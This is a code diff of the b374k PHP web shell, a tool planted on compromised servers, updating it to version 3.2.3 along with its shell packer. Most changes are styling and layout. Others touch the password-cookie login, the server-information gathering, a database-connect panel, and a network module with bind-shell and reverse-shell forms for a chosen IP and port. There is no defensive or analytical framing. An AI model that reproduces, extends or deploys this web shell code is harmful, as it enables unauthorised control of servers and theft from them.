#totop,#tobottom{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;}
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}
</style>
</head>
<body>
@ -30,9 +34,10 @@
<!--header info start-->
<div id='headerNav'>
<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' /><span id='nav'>&nbsp;<?php echo $nav; ?></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>
<a id='logout'>log out</a>
<a class='boxclose' id='logout' title='log out'>x</a>
<a class='boxclose' id='showinfo' title='show info'>v</a>
</div>
<!--header info end-->
@ -53,6 +58,7 @@
<div id='content'>
<!--server info start-->
<div id='basicInfo'>
<div id='toggleBasicInfo'></div>
<?php
echo $error_html;
foreach(get_server_info() as $k=>$v){

View file

@ -32,6 +32,7 @@ Zepto(function($){
show_tab();
xpl_bind();
eval_init();
window_resize();
xpl_update_status();
@ -50,7 +51,7 @@ Zepto(function($){
var cookie = document.cookie.split(';');
for(var i=0; i<cookie.length; i++){
var entries = cookie[i], entry = entries.split("="), name = entry[0];
document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
}
localStorage.clear();
location.href = targeturl;
@ -80,6 +81,38 @@ Zepto(function($){
onScroll = false;
scrollCounter = 0;
});
$('#basicInfo').on('mouseenter', function(e){
$('#toggleBasicInfo').show();
});
$('#basicInfo').on('mouseleave', function(e){
$('#toggleBasicInfo').hide();
});
$('#toggleBasicInfo').on('click', function(e){
$('#basicInfo').hide();
$('#showinfo').show();
$('#toggleBasicInfo').hide();
localStorage.setItem('infoBarShown', 'hidden');
});
$('#showinfo').on('click', function(e){
$('#basicInfo').show();
$('#showinfo').hide();
localStorage.setItem('infoBarShown', 'shown');
});
if((infoBarShown = localStorage.getItem('infoBarShown'))){
if(infoBarShown=='shown'){
$('#basicInfo').show();
$('#showinfo').hide();
}
else{
$('#basicInfo').hide();
$('#showinfo').show();
$('#toggleBasicInfo').hide();
}
}
else{
info_refresh();
}
if(history.pushState){
window.onpopstate = function(event) { refresh_tab(); };
@ -112,8 +145,10 @@ function layout_portable(){
//nav.hide();
nav.prependTo('#content');
nav.css('padding-top','5px');
nav.css('padding','5px 8px');
nav.css('margin-top', '8px');
nav.css('display','block');
nav.addClass('border');
menu.children().css('width', '100%');
menu.hide();
@ -149,8 +184,10 @@ function layout_normal(){
content = $('#content');
nav.insertAfter('#b374k');
nav.css('padding-top','0px');
nav.css('padding','0');
nav.css('margin-top', '0');
nav.css('display','inline');
nav.removeClass('border');
menu.children().css('width', 'auto');
menu.show();

View file

@ -1,5 +1,5 @@
<?php
$GLOBALS['ver'] = "3.2.2";
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k";
@ob_start();
@ -19,17 +19,12 @@ if(!function_exists('auth')){
if(isset($p['pass'])){
$your_pass = sha1(md5($p['pass']));
if($your_pass==$GLOBALS['pass']){
setcookie("pass", $your_pass);
$res = "
<script type='text/javascript'>
location.href='".get_self()."';
</script>
";
echo $res;
setcookie("pass", $your_pass, time()+36000, "/");
header("Location: ".get_self());
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
$res = "<!doctype html>
<html>
<head>
@ -55,12 +50,12 @@ if(!function_exists('auth')){
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
$server_info['software'] = $server_software." PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
$server_info['uname'] = php_uname();
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
$server_info['software'] = $server_software." PHP ".phpversion();
return $server_info;
}
}

View file

@ -7,7 +7,7 @@
*/
$GLOBALS['packer']['title'] = "b374k shell packer";
$GLOBALS['packer']['version'] = "0.4.1";
$GLOBALS['packer']['version'] = "0.4.2";
$GLOBALS['packer']['base_dir'] = "./base/";
$GLOBALS['packer']['module_dir'] = "./module/";
$GLOBALS['packer']['theme_dir'] = "./theme/";

View file

@ -8,14 +8,14 @@ $GLOBALS['module']['database']['content'] = "
<tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
</thead>
<tbody>
<tr class='dbHostRow'><td style='width:120px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
</tbody>
<tfoot>
<tr class='dbConnectRow'>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='dbType'>
</select>
</td>

View file

@ -22,12 +22,12 @@ $GLOBALS['module']['network']['content'] = "
<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
</thead>
<tbody>
<tr><td style='width:120px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
<tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
<tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
</tbody>
<tfoot>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='bindLang' class='rsType'>
".$winbinary."
</select>
@ -43,12 +43,12 @@ $GLOBALS['module']['network']['content'] = "
<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
</thead>
<tbody>
<tr><td style='width:120px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
<tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
<tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
</tbody>
<tfoot>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='backLang' class='rsType'>
".$winbinary."
</select>

View file

@ -136,10 +136,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -217,11 +213,11 @@ pre{
padding-bottom:8px;
}
.boxclose{
background:#d8deea;
color:#3b5998;
padding:2px;
border:1px solid #8C98B4;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;
}
.strong{

View file

@ -92,7 +92,7 @@ pre{
}
#headerNav{
padding:10px 8px 6px 8px;
background:#efefef;
background:#DBD9D9;
}
#headerNav img{
margin:0 4px;
@ -132,10 +132,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -211,11 +207,11 @@ pre{
padding-bottom:8px;
}
.boxclose{
background:#e0e0e0;
color:#000000;
padding:2px;
background:#E2E8F5;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;
}
.strong{

View file

@ -135,10 +135,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -215,10 +211,10 @@ pre{
}
.boxclose{
background:#222222;
color:#ffffff;
padding:2px;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;
}
.strong{

View file

@ -133,10 +133,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -215,10 +211,10 @@ pre{
}
.boxclose{
background:#222222;
color:#ffffff;
padding:2px;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;
}
.strong{

View file

@ -146,10 +146,6 @@ pre{
overflow-x:auto;
overflow-y:hidden;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -231,12 +227,12 @@ pre{
}
.boxclose{
background:#222222;
color:#ffffff;
padding:2px;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-3px;
padding:2px 8px;
cursor:pointer;
border-radius:4px;
color:#ffffff;
}
.strong{
color:#7C94A8;

View file

@ -136,10 +136,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -216,11 +212,12 @@ pre{
}
.boxclose{
background:#222222;
color:#ffffff;
padding:2px;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-3px;
padding:3px 8px;
cursor:pointer;
color:#ffffff;
}
.strong{
color:#D12424;